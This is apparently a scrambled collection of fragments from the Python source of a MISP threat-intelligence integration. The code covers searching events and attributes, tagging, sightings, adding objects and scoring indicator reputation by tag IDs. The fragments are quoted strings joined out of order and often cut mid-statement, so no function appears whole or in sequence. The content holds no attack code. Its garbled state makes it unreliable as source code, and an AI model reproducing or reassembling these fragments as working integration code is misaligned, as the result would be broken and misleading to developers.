MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import", "''' GLOBALS/PARAMS ''' params = demisto.params() if not params.get('credentials') or", "to the given limit) and by sub-functions calculated the score", "event_to_human_readable(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if len(response_for_context) ==", "search attribute request found_tag (str): The tag that was scored", "as related to the tag. \"\"\" scored_events = [] if", "example) Args: event_id (int): Event ID to add attribute to", "def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the indicator", "the required tag was failed. Please make sure the UUID", "else None if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if", "reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = [] for", "reliability, attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN',", "scored as malicious or suspicious. event_name (str): Name of the", "attributes\", response_for_context[:number_of_results], [\"Value\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights =", "level id. In such case, the score will be BAD", "-> list: \"\"\"returns list of attributes' values that match the", "'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category',", "pagination_message += f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-attributes", "required tag was failed. Please make sure the UUID exists.\")", "new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException(", "misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids,", "integer, please change the given: '{tag}' id.\") def create_updated_attribute_instance(demisto_args: dict,", "= MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg:", "'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] #", "args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true' else 0 if", "event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags,", "attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \"\"\"returns list", "-> GenericObjectGenerator: \"\"\" Args: template_name: template name as described in", "create event\\nNew event with ID: {event_id} has been successfully created.\\n\"", "is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator =", "demisto.params() if not params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')):", "misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \"\"\" Gets a timestamp from", "comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen", "'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag':", "event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for event_object", "'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command ==", "tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if", "scored by their event's threat level id. In such case,", "\"\"\"Adding attribute to a given MISP event object This function", "List[dict]: \"\"\" Extracting errors raised by PYMISP into readable response,", "(MISPEvent): When this function was called from create event command,", "i in range(len(related_events)): if related_events[i] not in related_events[i + 1:]:", "command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability,", "an event's tag. Otherwise (if it is set to 0", "the given: '{tag}' id.\") except ValueError: raise DemistoException(f\"Tag id has", "= json.loads(json.dumps(response_object)) events = [event.get('Event') for event in response_object] for", "use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE',", "'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore',", "generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command ==", "= event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'),", "valid value for the Source Reliability parameter\") attributes_limit = arg_to_number(params.get('attributes_limit',", "object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \"\"\" url_args =", "address: {value} is not valid\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids,", "raise DemistoException(f\"An error was occurred: {json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit):", "Unknown so no events should be found. Returns: list includes", "'description': event_object.get('description'), 'id': event_object.get('id') } for event_object in event['Object'] ]", "found in MISP for value: {value}', attribute_highlights, removeNull=True) readable_output +=", "return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets a list ot tag", "return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" After", "= build_generic_object(template, args) return add_object(event_id, obj) except ValueError as e:", "= PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event ID: {event_id}", "in object_tags_list: if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name", "Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') })", "tableToMarkdown( f\"MISP search-events returned {len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True) return", "Returns: str: dictionary created for misp to perform complex query", "'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or", "tag <= 0: raise DemistoException(f\"Tag id has to be a", "not valid\") if dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value):", "number of attributes that will be written to the context", "set of the found tag ids. Some tags have a", "score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot =", "# type: List[Dict[str, int]] for index, uri in enumerate(uri_list, 1):", "MISP search over 'attributes'\"\"\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact',", "function parses the response. This function goes over all the", "found_tag: for attribute in all_attributes: event = attribute.get('Event', {}) event_name", "any((found_tag := tag) in attribute_tags_ids for tag in malicious_tag_ids) if", "types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip", "includes the tag list. is_event_level (bool): Whether the attribute_dict was", "= [] if found_tag: for attribute in all_attributes: event =", "headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object", "argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability):", "for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in", "output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids,", "for ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args =", "event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id)", "return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \"\"\" Create a new MISP", "== 'true' else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] =", "event for example) Args: event_id (int): Event ID to add", "distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if", "1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page,", "or ip). malicious_tag_ids (set): Tag ids should be recognised as", "sure the UUID exists.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes')", "XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event", "or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key.", "tags configured as suspicious nor malicious will be scored by", "args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') == 'true' else 0", "entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj", "tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious =", "found_related_events (dict): contains info (name, id, threat level id) about", "from MISP response (1546713469) and converts it to human readable", "pymisp/api.py Args: demisto_query: complex query contains saved words: 'AND:', 'OR:'", "return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if", "are available in UT: test_build_misp_complex_filter. For more information please see", "add_url_object(demisto_args: dict): \"\"\"Building url object in MISP scheme Scheme described", "Indicators of attributes and Events that: * have tags which", "warnings.warn = warn ''' GLOBALS/PARAMS ''' params = demisto.params() if", "[\"1\", \"2\", \"3\"] for event in found_related_events.values(): if event['Threat Level", "get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid hash length, enter", "and by sub-functions calculated the score of the indicator. For", "integer, please change the given: '{tag}' id.\") except ValueError: raise", "'errors' in response: raise DemistoException(f'Event ID: {event_id} has not found", "obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException(", "include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute')", "we would like to add it to tag_set_ids. In any", "Returns: CommandResults includes all the indicator results. \"\"\" reputation_value_validation(value, dbot_type)", "misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore", "def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg] for", "hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1':", "event ids as the greater event ids are the newer", "event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution", "'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked',", "ID to add attribute to internal (bool): if set to", "in MISP and then calculates it's dbot score. The score", "'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid':", "response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError: raise", "{'domain': 'google.com'}] \"\"\" return [{k: v} for k, v in", "and values from Demisto to Misp's keys if 'type' in", "MISP_URL = params.get('url') VERIFY = not params.get('insecure') PROXIES = handle_proxy()", "pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import FileObject from", "the operators is optional. if 'demisto_query' does not contains any", "= event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for galaxy in", "a given MISP event object This function can be called", "ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute')", "'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ]", "= PYMISP.untag(uuid, tag) if response and response.get('errors'): raise DemistoException(f'Error in", "PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id", "Replacing keys from MISP's format to Demisto's (as appear in", "common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id", "try: tag = int(tag) if tag <= 0: raise DemistoException(f\"Tag", "limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag']", "same tag appears in both Malicious tag ids and Suspicious", "'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp',", "'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy',", "Returns: list includes all the events that were detected as", "Please see an example for a parsed output in test_data/reputation_command_outputs.json", "attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in", "(bool): if the given UUID is an attribute's one. Otherwise", "{value} is not valid\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability,", "return CommandResults(readable_output=f\"No attributes found in MISP for the given filters:", "list, str]): object to replace keys in Returns: Union[dict, list,", "to tag_set_ids all the tags (event ones and the event's", "search if found_tag is one of it's tags. If so,", "take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain':", "obj) else: raise DemistoException( f'None of required arguments presents. command", "attributes[i] = {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key", "in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag", "demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\", '\"') try: args", "tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif", "obj) def add_url_object(demisto_args: dict): \"\"\"Building url object in MISP scheme", "attribute args\"\"\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if", "or suspicious. If no tag was found, then the score", "event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict)", "\"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \"URL\": return Common.URL(url=value,", "dbot_type == \"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \"EMAIL\":", "includes all the indicator results. \"\"\" reputation_value_validation(value, dbot_type) misp_response =", "with the given id: {event_id} was not found in MISP.", "get that score found_related_events (dict): contains info (name, id, threat", "arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True)", "to True, will not post results to Demisto demisto_args (dict):", "list. is_event_level (bool): Whether the attribute_dict was received from an", "EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published',", "tag in object_tags_list: if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict)", "str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category", "the tag is only related to an attribute we would", "'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command ==", "'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit']", "event_object['id']}) if limit == len(events_ids): break human_readable = tableToMarkdown(f'Total of", "found_tag = None is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids", "format. please note: attributes are excluded from search-events output as", "url = PREDEFINED_FEEDS[url].get('url') # type: ignore return url def add_events_from_feed(demisto_args:", "else None url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append( {'credential':", "regexFlags).match(value): raise DemistoException(f\"Error: The given email address: {value} is not", "args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] =", "f'Object has been added to MISP event ID {event_id}' return", "in error: return_error('Unable to connect to MISP because of a", "object created in MISP Example: args should look like: [{'analysis_submitted_at':", "= tag.get('inherited', 0) # field doesn't exist when this is", "from the suspicious tag ids set and will be stayed", "if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object =", "== \"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \"URL\": return", "limit) response = PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable", "CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as e:", "hash length, enter file hash of format MD5, SHA-1 or", "str: \"\"\" Gets a timestamp from MISP response (1546713469) and", "return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates", "malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag :=", "set() tags_list = attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag", "(dict): The parsed response from the MISP search attribute request", "# event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag}", "readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \"\"\"Adds", "is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters')", "ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = {", "(MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill in", "'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization',", "full of in unnecessary data, we want to limit this", "response (1546713469) and converts it to human readable format \"\"\"", "dictionary describes MISP object Returns: list: list containing dicts that", "the context output format. \"\"\" response_object = copy.deepcopy(response) if include_correlations:", "attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags,", "outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability,", "MISP for the given filters: {args}\") def delete_event(demisto_args: dict): \"\"\"", "event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \"\"\"Execute", "type: ignore return url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies:", "found_tag): \"\"\" This function searches for all the events that", "return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)]", "build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\"MISP search-attributes returned {number_of_results}", "attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response =", "GenericObjectGenerator import copy from pymisp.tools import FileObject from CommonServerPython import", "== 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command", "elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args))", "MISP search attribute request found_tag (str): The tag that was", "url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment':", "= build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\"Current page size:", "and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids):", "reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = [] for value in", "for more information and examples please see UT: test_extract_error. Args:", "demisto_args.get('comment')}) if demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args) return", "in event_args events[i] = {key: events[i].get(key) for key in EVENT_FIELDS", "'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate',", "tags_list: is_event_tag = tag.get('inherited', 0) # field doesn't exist when", "caused the indicator to be scored as malicious or suspicious.", "search-attributes returned {len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response,", "from error section Returns: List[Dict[str, any]]: filtered response \"\"\" return", "match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters')", "comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen = first_seen if", "reliability score. attributes_limit (int) : Limits the number of attributes", "f'Tag {tag} has been successfully removed from the attribute {uuid}'", "have tags which configured as suspicious will be scored 2", "the complex operators the original input will be returned Returns:", "PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results =", "to add to MISP event_id: ID of event \"\"\" response", "removed from the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID',", "event's (is_event_level = true) we would like to add to", "Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results were found in MISP\")", "'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS =", "the generic object Returns: GenericObjectGenerator: object created in MISP Example:", "CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid", "def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags: return [tag.get('Name')", "attributes_list = response.get('Attribute') if not attributes_list: return None attributes_list =", "(as a tag that was configured to be malicious is", "build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True)", "} return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name =", "attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')] if", "convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if", "MISP with the given attribute args\"\"\" new_event = get_new_misp_event_object(demisto_args) new_event", "When this function was called from create event command, the", "https://www.misp-project.org/objects.html#_url \"\"\" url_args = [ 'text', 'last_seen', 'first_seen' ] event_id", "Do nothing with warnings \"\"\" pass # Disable requests warnings", "outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will", "attribute we would like to add it to tag_set_ids. In", "= attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute,", "events[i]} events[i]['RelatedEvent'] = [] # there is no need in", "attribute dict which includes tags list. found_tag (str): The tag", "found_tag_name = \"\", \"\" for event in events_to_human_readable: # removing", "'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command", "# hashFormat will be used only in output hash_format =", "unnecessary data, we want to limit this list to include", "args) return add_object(event_id, obj) except ValueError as e: raise DemistoException(", "0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings')", "PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully removed from", "add_object(event_id: str, obj: MISPObject): \"\"\"Sending object to MISP and returning", "args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1", "} sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if", "is_ip_valid(value): raise DemistoException(f\"Error: The given IP address: {value} is not", "demisto_args.get('uuid') tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if", "== 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error: The given", "(url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args))", "'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event", "in the integration configuration.') MISP_URL = params.get('url') VERIFY = not", "'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj,", "is_complex_search = False if match_operator is not None: misp_query_params[operator_key] =", "urllib3.disable_warnings() # Disable python warnings warnings.warn = warn ''' GLOBALS/PARAMS", "in a valid key in the integration configuration.') MISP_URL =", "of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets 2 sets which", "# return full related attributes only if the user wants", "DemistoException(f\"Error: The given IP address: {value} is not valid\") if", "return CommandResults(indicator=indicator, readable_output=f\"No attributes found in MISP for value: {value}\")", "demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category',", "exist.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag", "for event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event)", "] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type')", "from the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response),", "if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') ==", "the URL are correct\" in error: return_error('Unable to connect to", "= demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the tag except", "malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif", "have a field called inherited. When it is set to", "to get the information about the attributes. \"\"\" response_object =", "tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the tag", "CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict):", "= object_data_dict.get('Tag', []) for tag in object_tags_list: if tag.get('ID') ==", "galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if", "Limits the number of attributes that will be written to", "in [1,2,3]. Otherwise, the threat level is 4 = Unknown.", "raise DemistoException(f\"Error: The given email address: {value} is not valid\")", "return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid')", "Returns: List[Dict[str, any]]: filtered response \"\"\" return [{ 'code': err[0],", "attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag", "Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \"\"\" Examples are available in", "if the user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if", "event_objects = event.get('Object', []) if event_objects: return [event_object.get('ID') for event_object", "suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args, 'ip',", "found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes =", "is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def", "add attribute to internal (bool): if set to True, will", "their event's threat level id. In such case, the score", "= MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info =", "score is calculated by the tags ids (attribute tags and", "raise DemistoException(f\"Error: The given IP address: {value} is not valid\")", "response: event = attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag", "args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id'))", "{len(events_ids)} events was added to MISP.', events_ids) return CommandResults( readable_output=human_readable,", "'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation',", "elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args))", "UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict) -> CommandResults:", "'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP", "return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except Exception as e:", "attribute to a given MISP event object This function can", "def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') }", "-> dict: \"\"\" Convert the response of attribute search returned", "the given filters: {args}\") def delete_event(demisto_args: dict): \"\"\" Gets an", "'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command", "def extract_error(error: list) -> List[dict]: \"\"\" Extracting errors raised by", "tag) in attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return", "object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text = demisto_args.get('text')", "'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 